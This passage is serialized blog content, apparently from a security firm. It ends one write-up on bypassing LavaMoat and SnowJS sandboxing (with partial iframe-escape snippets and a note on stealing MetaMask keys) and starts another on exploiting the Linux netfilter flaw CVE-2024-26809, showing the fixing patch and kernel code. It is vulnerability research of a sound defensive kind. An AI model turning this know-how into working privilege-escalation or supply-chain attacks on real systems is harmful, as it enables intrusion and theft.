autofocus>\u003C/div>\"",{"type":23,"tag":504,"props":52292,"children":52293},{"style":5058},[52294],{"type":29,"value":5061},{"type":23,"tag":504,"props":52296,"children":52297},{"class":5016,"line":4868},[52298,52302,52306,52310,52314,52319,52323,52328],{"type":23,"tag":504,"props":52299,"children":52300},{"style":5041},[52301],{"type":29,"value":34763},{"type":23,"tag":504,"props":52303,"children":52304},{"style":5058},[52305],{"type":29,"value":357},{"type":23,"tag":504,"props":52307,"children":52308},{"style":5139},[52309],{"type":29,"value":37053},{"type":23,"tag":504,"props":52311,"children":52312},{"style":5058},[52313],{"type":29,"value":603},{"type":23,"tag":504,"props":52315,"children":52316},{"style":6297},[52317],{"type":29,"value":52318},"'test'",{"type":23,"tag":504,"props":52320,"children":52321},{"style":5058},[52322],{"type":29,"value":161},{"type":23,"tag":504,"props":52324,"children":52325},{"style":5139},[52326],{"type":29,"value":52327},"focus",{"type":23,"tag":504,"props":52329,"children":52330},{"style":5058},[52331],{"type":29,"value":5725},{"type":23,"tag":504,"props":52333,"children":52334},{"class":5016,"line":4876},[52335,52339,52343,52347,52351,52355,52359,52363,52367,52371],{"type":23,"tag":504,"props":52336,"children":52337},{"style":5041},[52338],{"type":29,"value":34763},{"type":23,"tag":504,"props":52340,"children":52341},{"style":5058},[52342],{"type":29,"value":357},{"type":23,"tag":504,"props":52344,"children":52345},{"style":5139},[52346],{"type":29,"value":52180},{"type":23,"tag":504,"props":52348,"children":52349},{"style":5058},[52350],{"type":29,"value":603},{"type":23,"tag":504,"props":52352,"children":52353},{"style":6297},[52354],{"type":29,"value":52189},{"type":23,"tag":504,"props":52356,"children":52357},{"style":5058},[52358],{"type":29,"value":4367},{"type":23,"tag":504,"props":52360,"children":52361},{"style":5030},[52362],{"type":29,"value":10220},{"type":23,"tag":504,"props":52364,"children":52365},{"style":5058},[52366],{"type":29,"value":4367},{"type":23,"tag":504,"props":52368,"children":52369},{"style":6297},[52370],{"type":29,"value":52206},{"type":23,"tag":504,"props":52372,"children":52373},{"style":5058},[52374],{"type":29,"value":5888},{"type":23,"tag":504,"props":52376,"children":52377},{"class":5016,"line":5099},[52378,52382,52386,52391,52395,52399,52404,52408,52413,52418,52422,52426,52430,52434,52438,52442],{"type":23,"tag":504,"props":52379,"children":52380},{"style":5041},[52381],{"type":29,"value":34763},{"type":23,"tag":504,"props":52383,"children":52384},{"style":5058},[52385],{"type":29,"value":357},{"type":23,"tag":504,"props":52387,"children":52388},{"style":5139},[52389],{"type":29,"value":52390},"getElementsByTagName",{"type":23,"tag":504,"props":52392,"children":52393},{"style":5058},[52394],{"type":29,"value":603},{"type":23,"tag":504,"props":52396,"children":52397},{"style":6297},[52398],{"type":29,"value":38787},{"type":23,"tag":504,"props":52400,"children":52401},{"style":5058},[52402],{"type":29,"value":52403},")[",{"type":23,"tag":504,"props":52405,"children":52406},{"style":5083},[52407],{"type":29,"value":708},{"type":23,"tag":504,"props":52409,"children":52410},{"style":5058},[52411],{"type":29,"value":52412},"].",{"type":23,"tag":504,"props":52414,"children":52415},{"style":5041},[52416],{"type":29,"value":52417},"contentWindow",{"type":23,"tag":504,"props":52419,"children":52420},{"style":5058},[52421],{"type":29,"value":357},{"type":23,"tag":504,"props":52423,"children":52424},{"style":5139},[52425],{"type":29,"value":34753},{"type":23,"tag":504,"props":52427,"children":52428},{"style":5058},[52429],{"type":29,"value":603},{"type":23,"tag":504,"props":52431,"children":52432},{"style":5041},[52433],{"type":29,"value":34763},{"type":23,"tag":504,"props":52435,"children":52436},{"style":5058},[52437],{"type":29,"value":357},{"type":23,"tag":504,"props":52439,"children":52440},{"style":5041},[52441],{"type":29,"value":34773},{"type":23,"tag":504,"props":52443,"children":52444},{"style":5058},[52445],{"type":29,"value":5888},{"type":23,"tag":320,"props":52447,"children":52449},{"id":52448},"snowjs-patch",[52450],{"type":29,"value":52451},"SnowJS Patch",{"type":23,"tag":32,"props":52453,"children":52454},{},[52455,52457,52464,52466,52473],{"type":29,"value":52456},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":68,"props":52458,"children":52461},{"href":52459,"rel":52460},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[72],[52462],{"type":29,"value":52463},"browser feature within W3C standards",{"type":29,"value":52465},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":68,"props":52467,"children":52470},{"href":52468,"rel":52469},"https://github.com/weizman/Realms-Initialization-Control",[72],[52471],{"type":29,"value":52472},"Here",{"type":29,"value":52474}," is their new proposal.",{"type":23,"tag":24,"props":52476,"children":52478},{"id":52477},"chaining-the-impacts",[52479],{"type":29,"value":52480},"Chaining The Impacts",{"type":23,"tag":32,"props":52482,"children":52483},{},[52484],{"type":29,"value":52485},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":139,"props":52487,"children":52488},{},[52489,52494],{"type":23,"tag":143,"props":52490,"children":52491},{},[52492],{"type":29,"value":52493},"Policy File Bypass",{"type":23,"tag":143,"props":52495,"children":52496},{},[52497],{"type":29,"value":52498},"Scuttling Bypass",{"type":23,"tag":32,"props":52500,"children":52501},{},[52502],{"type":29,"value":52503},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":32,"props":52505,"children":52506},{},[52507],{"type":29,"value":52508},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":24,"props":52510,"children":52511},{"id":4832},[52512],{"type":29,"value":4835},{"type":23,"tag":32,"props":52514,"children":52515},{},[52516],{"type":29,"value":52517},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":33401,"props":52519,"children":52520},{"style":33403},[52521],{"type":23,"tag":199,"props":52522,"children":52525},{"src":52523,"alt":52524,"style":33409},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":20472,"props":52527,"children":52529},{"className":52528,"dataFootnotes":7},[20475],[52530,52535],{"type":23,"tag":24,"props":52531,"children":52533},{"className":52532,"id":17527},[20480],[52534],{"type":29,"value":20483},{"type":23,"tag":139,"props":52536,"children":52537},{},[52538],{"type":23,"tag":143,"props":52539,"children":52540},{"id":32421},[52541,52543,52550,52551],{"type":29,"value":52542},"Excluding SES, which was covered ",{"type":23,"tag":68,"props":52544,"children":52547},{"href":52545,"rel":52546},"https://osec.io/blog/2023-11-01-metamask-snaps",[72],[52548],{"type":29,"value":52549},"in our last article",{"type":29,"value":1698},{"type":23,"tag":68,"props":52552,"children":52554},{"href":32449,"ariaLabel":20586,"className":52553,"dataFootnoteBackref":7},[20588],[52555],{"type":29,"value":20591},{"type":23,"tag":7410,"props":52557,"children":52558},{},[52559],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":52561},[52562,52566,52572,52578,52579,52580],{"id":21007,"depth":4868,"text":21010,"children":52563},[52564,52565],{"id":31069,"depth":4876,"text":31072},{"id":49183,"depth":4876,"text":49186},{"id":49939,"depth":4868,"text":49942,"children":52567},[52568,52569,52570,52571],{"id":50190,"depth":4876,"text":50193},{"id":50665,"depth":4876,"text":50668},{"id":51322,"depth":4876,"text":51325},{"id":51445,"depth":4876,"text":51448},{"id":51563,"depth":4868,"text":51566,"children":52573},[52574,52575,52576,52577],{"id":51691,"depth":4876,"text":51694},{"id":52053,"depth":4876,"text":52056},{"id":52213,"depth":4876,"text":52216},{"id":52448,"depth":4876,"text":52451},{"id":52477,"depth":4868,"text":52480},{"id":4832,"depth":4868,"text":4835},{"id":17527,"depth":4868,"text":20483},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":52585,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":52586,"description":52587,"author":52588,"image":52589,"date":52591,"isFeatured":15,"tags":52592,"onBlogPage":15,"body":52595,"_type":4892,"_id":62972,"_source":4894,"_file":62973,"_stem":62974,"_extension":4897},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":52590,"height":11313,"width":7769},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[52593,52594],"kernal","linux",{"type":20,"children":52596,"toc":62940},[52597,52610,52624,52629,52635,52644,52649,52655,52660,52678,52692,52701,52734,52739,52745,52764,52797,52803,52816,53026,53093,53655,53674,53899,53958,53964,53984,54024,54212,54217,54368,54424,54429,54943,54962,55231,55257,55766,55833,55839,55875,55880,56146,56179,56191,56218,56230,56235,56241,56262,56268,56289,56312,57144,57150,57190,57730,57741,57775,57842,57896,58128,58134,58178,58641,58647,58658,58688,58771,58776,58781,58817,58869,58900,59455,59461,59478,59484,59489,59495,59523,59716,59736,59752,60347,60353,60388,60411,60423,60429,60457,61054,61079,62048,62059,62072,62085,62851,62865,62871,62883,62889,62917,62922,62926,62931,62936],{"type":23,"tag":32,"props":52598,"children":52599},{},[52600,52602,52609],{"type":29,"value":52601},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":68,"props":52603,"children":52606},{"href":52604,"rel":52605},"https://google.github.io/security-research/kernelctf/rules.html",[72],[52607],{"type":29,"value":52608},"KernelCTF VRP",{"type":29,"value":357},{"type":23,"tag":32,"props":52611,"children":52612},{},[52613,52615,52622],{"type":29,"value":52614},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":68,"props":52616,"children":52619},{"href":52617,"rel":52618},"https://github.com/conlonialC",[72],[52620],{"type":29,"value":52621},"lonial con",{"type":29,"value":52623},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":32,"props":52625,"children":52626},{},[52627],{"type":29,"value":52628},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":24,"props":52630,"children":52632},{"id":52631},"the-kernel",[52633],{"type":29,"value":52634},"The kernel",{"type":23,"tag":32,"props":52636,"children":52637},{},[52638,52640],{"type":29,"value":52639},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":199,"props":52641,"children":52643},{"alt":201,"src":52642},"/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":32,"props":52645,"children":52646},{},[52647],{"type":29,"value":52648},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":320,"props":52650,"children":52652},{"id":52651},"kernel-exploitation",[52653],{"type":29,"value":52654},"Kernel exploitation",{"type":23,"tag":32,"props":52656,"children":52657},{},[52658],{"type":29,"value":52659},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":1022,"props":52661,"children":52662},{},[52663,52668,52673],{"type":23,"tag":143,"props":52664,"children":52665},{},[52666],{"type":29,"value":52667},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":143,"props":52669,"children":52670},{},[52671],{"type":29,"value":52672},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":143,"props":52674,"children":52675},{},[52676],{"type":29,"value":52677},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":32,"props":52679,"children":52680},{},[52681,52683,52690],{"type":29,"value":52682},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":68,"props":52684,"children":52687},{"href":52685,"rel":52686},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[72],[52688],{"type":29,"value":52689},"blog post",{"type":29,"value":52691}," to become more familiar with the topic.",{"type":23,"tag":24,"props":52693,"children":52695},{"id":52694},"nf_tables",[52696],{"type":23,"tag":154,"props":52697,"children":52699},{"className":52698},[],[52700],{"type":29,"value":52694},{"type":23,"tag":32,"props":52702,"children":52703},{},[52704,52709,52711,52717,52718,52724,52726,52732],{"type":23,"tag":154,"props":52705,"children":52707},{"className":52706},[],[52708],{"type":29,"value":52694},{"type":29,"value":52710}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":68,"props":52712,"children":52715},{"href":52713,"rel":52714},"https://pwning.tech/nftables",[72],[52716],{"type":29,"value":826},{"type":29,"value":4367},{"type":23,"tag":68,"props":52719,"children":52722},{"href":52720,"rel":52721},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[72],[52723],{"type":29,"value":5164},{"type":29,"value":52725},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":154,"props":52727,"children":52729},{"className":52728},[],[52730],{"type":29,"value":52731},"nf_table",{"type":29,"value":52733}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":32,"props":52735,"children":52736},{},[52737],{"type":29,"value":52738},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":320,"props":52740,"children":52742},{"id":52741},"transactions",[52743],{"type":29,"value":52744},"Transactions",{"type":23,"tag":32,"props":52746,"children":52747},{},[52748,52750,52755,52757,52762],{"type":29,"value":52749},"A transaction is an interaction that updates ",{"type":23,"tag":154,"props":52751,"children":52753},{"className":52752},[],[52754],{"type":29,"value":52694},{"type":29,"value":52756}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":154,"props":52758,"children":52760},{"className":52759},[],[52761],{"type":29,"value":52694},{"type":29,"value":52763}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":1022,"props":52765,"children":52766},{},[52767,52777,52787],{"type":23,"tag":143,"props":52768,"children":52769},{},[52770,52775],{"type":23,"tag":38,"props":52771,"children":52772},{},[52773],{"type":29,"value":52774},"Control plane",{"type":29,"value":52776},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":143,"props":52778,"children":52779},{},[52780,52785],{"type":23,"tag":38,"props":52781,"children":52782},{},[52783],{"type":29,"value":52784},"Commit path",{"type":29,"value":52786},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":143,"props":52788,"children":52789},{},[52790,52795],{"type":23,"tag":38,"props":52791,"children":52792},{},[52793],{"type":29,"value":52794},"Abort path",{"type":29,"value":52796},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":24,"props":52798,"children":52800},{"id":52799},"vulnerability-details",[52801],{"type":29,"value":52802},"Vulnerability details",{"type":23,"tag":32,"props":52804,"children":52805},{},[52806,52808,52814],{"type":29,"value":52807},"Moving on, let's check out the ",{"type":23,"tag":68,"props":52809,"children":52812},{"href":52810,"rel":52811},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[72],[52813],{"type":29,"value":6265},{"type":29,"value":52815}," that fixed the bug.",{"type":23,"tag":4743,"props":52817,"children":52819},{"className":42417,"code":52818,"language":42419,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[52820],{"type":23,"tag":154,"props":52821,"children":52822},{"__ignoreMap":7},[52823,52831,52839,52847,52855,52863,52870,52878,52885,52893,52901,52909,52917,52925,52933,52941,52949,52957,52965,52973,52980,52988,52996,53004,53011,53018],{"type":23,"tag":504,"props":52824,"children":52825},{"class":5016,"line":5017},[52826],{"type":23,"tag":504,"props":52827,"children":52828},{"style":5030},[52829],{"type":29,"value":52830},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":504,"props":52832,"children":52833},{"class":5016,"line":4868},[52834],{"type":23,"tag":504,"props":52835,"children":52836},{"style":5058},[52837],{"type":29,"value":52838},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":504,"props":52840,"children":52841},{"class":5016,"line":4876},[52842],{"type":23,"tag":504,"props":52843,"children":52844},{"style":5030},[52845],{"type":29,"value":52846},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":504,"props":52848,"children":52849},{"class":5016,"line":5099},[52850],{"type":23,"tag":504,"props":52851,"children":52852},{"style":5030},[52853],{"type":29,"value":52854},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":504,"props":52856,"children":52857},{"class":5016,"line":5203},[52858],{"type":23,"tag":504,"props":52859,"children":52860},{"style":5058},[52861],{"type":29,"value":52862},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":504,"props":52864,"children":52865},{"class":5016,"line":5308},[52866],{"type":23,"tag":504,"props":52867,"children":52868},{"emptyLinePlaceholder":15},[52869],{"type":29,"value":5734},{"type":23,"tag":504,"props":52871,"children":52872},{"class":5016,"line":5336},[52873],{"type":23,"tag":504,"props":52874,"children":52875},{"style":5058},[52876],{"type":29,"value":52877},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":504,"props":52879,"children":52880},{"class":5016,"line":5349},[52881],{"type":23,"tag":504,"props":52882,"children":52883},{"emptyLinePlaceholder":15},[52884],{"type":29,"value":5734},{"type":23,"tag":504,"props":52886,"children":52887},{"class":5016,"line":5367},[52888],{"type":23,"tag":504,"props":52889,"children":52890},{"style":5058},[52891],{"type":29,"value":52892},"  if (m) {\n",{"type":23,"tag":504,"props":52894,"children":52895},{"class":5016,"line":5388},[52896],{"type":23,"tag":504,"props":52897,"children":52898},{"style":5058},[52899],{"type":29,"value":52900},"   rcu_barrier();\n",{"type":23,"tag":504,"props":52902,"children":52903},{"class":5016,"line":5397},[52904],{"type":23,"tag":504,"props":52905,"children":52906},{"style":5058},[52907],{"type":29,"value":52908}," \n",{"type":23,"tag":504,"props":52910,"children":52911},{"class":5016,"line":5649},[52912],{"type":23,"tag":504,"props":52913,"children":52914},{"style":6297},[52915],{"type":29,"value":52916},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":504,"props":52918,"children":52919},{"class":5016,"line":5666},[52920],{"type":23,"tag":504,"props":52921,"children":52922},{"style":6297},[52923],{"type":29,"value":52924},"-\n",{"type":23,"tag":504,"props":52926,"children":52927},{"class":5016,"line":5683},[52928],{"type":23,"tag":504,"props":52929,"children":52930},{"style":5058},[52931],{"type":29,"value":52932},"   for_each_possible_cpu(cpu)\n",{"type":23,"tag":504,"props":52934,"children":52935},{"class":5016,"line":5696},[52936],{"type":23,"tag":504,"props":52937,"children":52938},{"style":5058},[52939],{"type":29,"value":52940},"    pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":504,"props":52942,"children":52943},{"class":5016,"line":5705},[52944],{"type":23,"tag":504,"props":52945,"children":52946},{"style":5058},[52947],{"type":29,"value":52948},"   free_percpu(m->scratch);\n",{"type":23,"tag":504,"props":52950,"children":52951},{"class":5016,"line":5728},[52952],{"type":23,"tag":504,"props":52953,"children":52954},{"style":5058},[52955],{"type":29,"value":52956},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":504,"props":52958,"children":52959},{"class":5016,"line":5737},[52960],{"type":23,"tag":504,"props":52961,"children":52962},{"style":5058},[52963],{"type":29,"value":52964},"  if (priv->clone) {\n",{"type":23,"tag":504,"props":52966,"children":52967},{"class":5016,"line":5746},[52968],{"type":23,"tag":504,"props":52969,"children":52970},{"style":5058},[52971],{"type":29,"value":52972},"   m = priv->clone;\n",{"type":23,"tag":504,"props":52974,"children":52975},{"class":5016,"line":5813},[52976],{"type":23,"tag":504,"props":52977,"children":52978},{"style":5058},[52979],{"type":29,"value":52908},{"type":23,"tag":504,"props":52981,"children":52982},{"class":5016,"line":5821},[52983],{"type":23,"tag":504,"props":52984,"children":52985},{"style":6297},[52986],{"type":29,"value":52987},"-  if (priv->dirty)\n",{"type":23,"tag":504,"props":52989,"children":52990},{"class":5016,"line":5851},[52991],{"type":23,"tag":504,"props":52992,"children":52993},{"style":6297},[52994],{"type":29,"value":52995},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":504,"props":52997,"children":52998},{"class":5016,"line":5859},[52999],{"type":23,"tag":504,"props":53000,"children":53001},{"style":5083},[53002],{"type":29,"value":53003},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":504,"props":53005,"children":53006},{"class":5016,"line":5891},[53007],{"type":23,"tag":504,"props":53008,"children":53009},{"style":5058},[53010],{"type":29,"value":52908},{"type":23,"tag":504,"props":53012,"children":53013},{"class":5016,"line":5899},[53014],{"type":23,"tag":504,"props":53015,"children":53016},{"style":5058},[53017],{"type":29,"value":52932},{"type":23,"tag":504,"props":53019,"children":53020},{"class":5016,"line":5959},[53021],{"type":23,"tag":504,"props":53022,"children":53023},{"style":5058},[53024],{"type":29,"value":53025},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":32,"props":53027,"children":53028},{},[53029,53031,53037,53038,53044,53046,53052,53054,53060,53062,53067,53069,53075,53077,53083,53085,53091],{"type":29,"value":53030},"If the ",{"type":23,"tag":154,"props":53032,"children":53034},{"className":53033},[],[53035],{"type":29,"value":53036},"priv->dirty",{"type":29,"value":4478},{"type":23,"tag":154,"props":53039,"children":53041},{"className":53040},[],[53042],{"type":29,"value":53043},"priv->clone",{"type":29,"value":53045}," variables are set, ",{"type":23,"tag":154,"props":53047,"children":53049},{"className":53048},[],[53050],{"type":29,"value":53051},"nft_set_pipapo_match_destroy()",{"type":29,"value":53053}," is called twice, once with ",{"type":23,"tag":154,"props":53055,"children":53057},{"className":53056},[],[53058],{"type":29,"value":53059},"priv->match",{"type":29,"value":53061}," as an argument, and then again with ",{"type":23,"tag":154,"props":53063,"children":53065},{"className":53064},[],[53066],{"type":29,"value":53043},{"type":29,"value":53068},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":154,"props":53070,"children":53072},{"className":53071},[],[53073],{"type":29,"value":53074},"setelem",{"type":29,"value":53076},"s of the ",{"type":23,"tag":154,"props":53078,"children":53080},{"className":53079},[],[53081],{"type":29,"value":53082},"set",{"type":29,"value":53084}," and calling ",{"type":23,"tag":154,"props":53086,"children":53088},{"className":53087},[],[53089],{"type":29,"value":53090},"nf_tables_set_elem_destroy()",{"type":29,"value":53092}," for each of them.",{"type":23,"tag":4743,"props":53094,"children":53096},{"className":18562,"code":53095,"language":3110,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[53097],{"type":23,"tag":154,"props":53098,"children":53099},{"__ignoreMap":7},[53100,53147,53175,53200,53207,53228,53241,53248,53345,53353,53360,53415,53436,53443,53545,53557,53564,53600,53607,53641,53648],{"type":23,"tag":504,"props":53101,"children":53102},{"class":5016,"line":5017},[53103,53108,53113,53118,53122,53126,53130,53135,53139,53143],{"type":23,"tag":504,"props":53104,"children":53105},{"style":5030},[53106],{"type":29,"value":53107},"static",{"type":23,"tag":504,"props":53109,"children":53110},{"style":5030},[53111],{"type":29,"value":53112}," void",{"type":23,"tag":504,"props":53114,"children":53115},{"style":5139},[53116],{"type":29,"value":53117}," nft_set_pipapo_match_destroy",{"type":23,"tag":504,"props":53119,"children":53120},{"style":5058},[53121],{"type":29,"value":603},{"type":23,"tag":504,"props":53123,"children":53124},{"style":5030},[53125],{"type":29,"value":11701},{"type":23,"tag":504,"props":53127,"children":53128},{"style":5030},[53129],{"type":29,"value":23203},{"type":23,"tag":504,"props":53131,"children":53132},{"style":5058},[53133],{"type":29,"value":53134}," nft_ctx ",{"type":23,"tag":504,"props":53136,"children":53137},{"style":5047},[53138],{"type":29,"value":6613},{"type":23,"tag":504,"props":53140,"children":53141},{"style":5041},[53142],{"type":29,"value":22333},{"type":23,"tag":504,"props":53144,"children":53145},{"style":5058},[53146],{"type":29,"value":5557},{"type":23,"tag":504,"props":53148,"children":53149},{"class":5016,"line":4868},[53150,53154,53158,53163,53167,53171],{"type":23,"tag":504,"props":53151,"children":53152},{"style":5030},[53153],{"type":29,"value":33602},{"type":23,"tag":504,"props":53155,"children":53156},{"style":5030},[53157],{"type":29,"value":23203},{"type":23,"tag":504,"props":53159,"children":53160},{"style":5058},[53161],{"type":29,"value":53162}," nft_set ",{"type":23,"tag":504,"props":53164,"children":53165},{"style":5047},[53166],{"type":29,"value":6613},{"type":23,"tag":504,"props":53168,"children":53169},{"style":5041},[53170],{"type":29,"value":53082},{"type":23,"tag":504,"props":53172,"children":53173},{"style":5058},[53174],{"type":29,"value":5557},{"type":23,"tag":504,"props":53176,"children":53177},{"class":5016,"line":4876},[53178,53183,53188,53192,53196],{"type":23,"tag":504,"props":53179,"children":53180},{"style":5030},[53181],{"type":29,"value":53182},"      struct",{"type":23,"tag":504,"props":53184,"children":53185},{"style":5058},[53186],{"type":29,"value":53187}," nft_pipapo_match ",{"type":23,"tag":504,"props":53189,"children":53190},{"style":5047},[53191],{"type":29,"value":6613},{"type":23,"tag":504,"props":53193,"children":53194},{"style":5041},[53195],{"type":29,"value":1416},{"type":23,"tag":504,"props":53197,"children":53198},{"style":5058},[53199],{"type":29,"value":5200},{"type":23,"tag":504,"props":53201,"children":53202},{"class":5016,"line":5099},[53203],{"type":23,"tag":504,"props":53204,"children":53205},{"style":5058},[53206],{"type":29,"value":12926},{"type":23,"tag":504,"props":53208,"children":53209},{"class":5016,"line":5203},[53210,53214,53219,53223],{"type":23,"tag":504,"props":53211,"children":53212},{"style":5030},[53213],{"type":29,"value":23203},{"type":23,"tag":504,"props":53215,"children":53216},{"style":5058},[53217],{"type":29,"value":53218}," nft_pipapo_field ",{"type":23,"tag":504,"props":53220,"children":53221},{"style":5047},[53222],{"type":29,"value":6613},{"type":23,"tag":504,"props":53224,"children":53225},{"style":5058},[53226],{"type":29,"value":53227},"f;\n",{"type":23,"tag":504,"props":53229,"children":53230},{"class":5016,"line":5308},[53231,53236],{"type":23,"tag":504,"props":53232,"children":53233},{"style":5030},[53234],{"type":29,"value":53235}," int",{"type":23,"tag":504,"props":53237,"children":53238},{"style":5058},[53239],{"type":29,"value":53240}," i, r;\n",{"type":23,"tag":504,"props":53242,"children":53243},{"class":5016,"line":5336},[53244],{"type":23,"tag":504,"props":53245,"children":53246},{"emptyLinePlaceholder":15},[53247],{"type":29,"value":5734},{"type":23,"tag":504,"props":53249,"children":53250},{"class":5016,"line":5349},[53251,53256,53261,53265,53269,53274,53278,53283,53287,53291,53296,53300,53304,53308,53313,53318,53322,53327,53332,53337,53341],{"type":23,"tag":504,"props":53252,"children":53253},{"style":5067},[53254],{"type":29,"value":53255}," for",{"type":23,"tag":504,"props":53257,"children":53258},{"style":5058},[53259],{"type":29,"value":53260}," (i ",{"type":23,"tag":504,"props":53262,"children":53263},{"style":5047},[53264],{"type":29,"value":546},{"type":23,"tag":504,"props":53266,"children":53267},{"style":5083},[53268],{"type":29,"value":5086},{"type":23,"tag":504,"props":53270,"children":53271},{"style":5058},[53272],{"type":29,"value":53273},", f 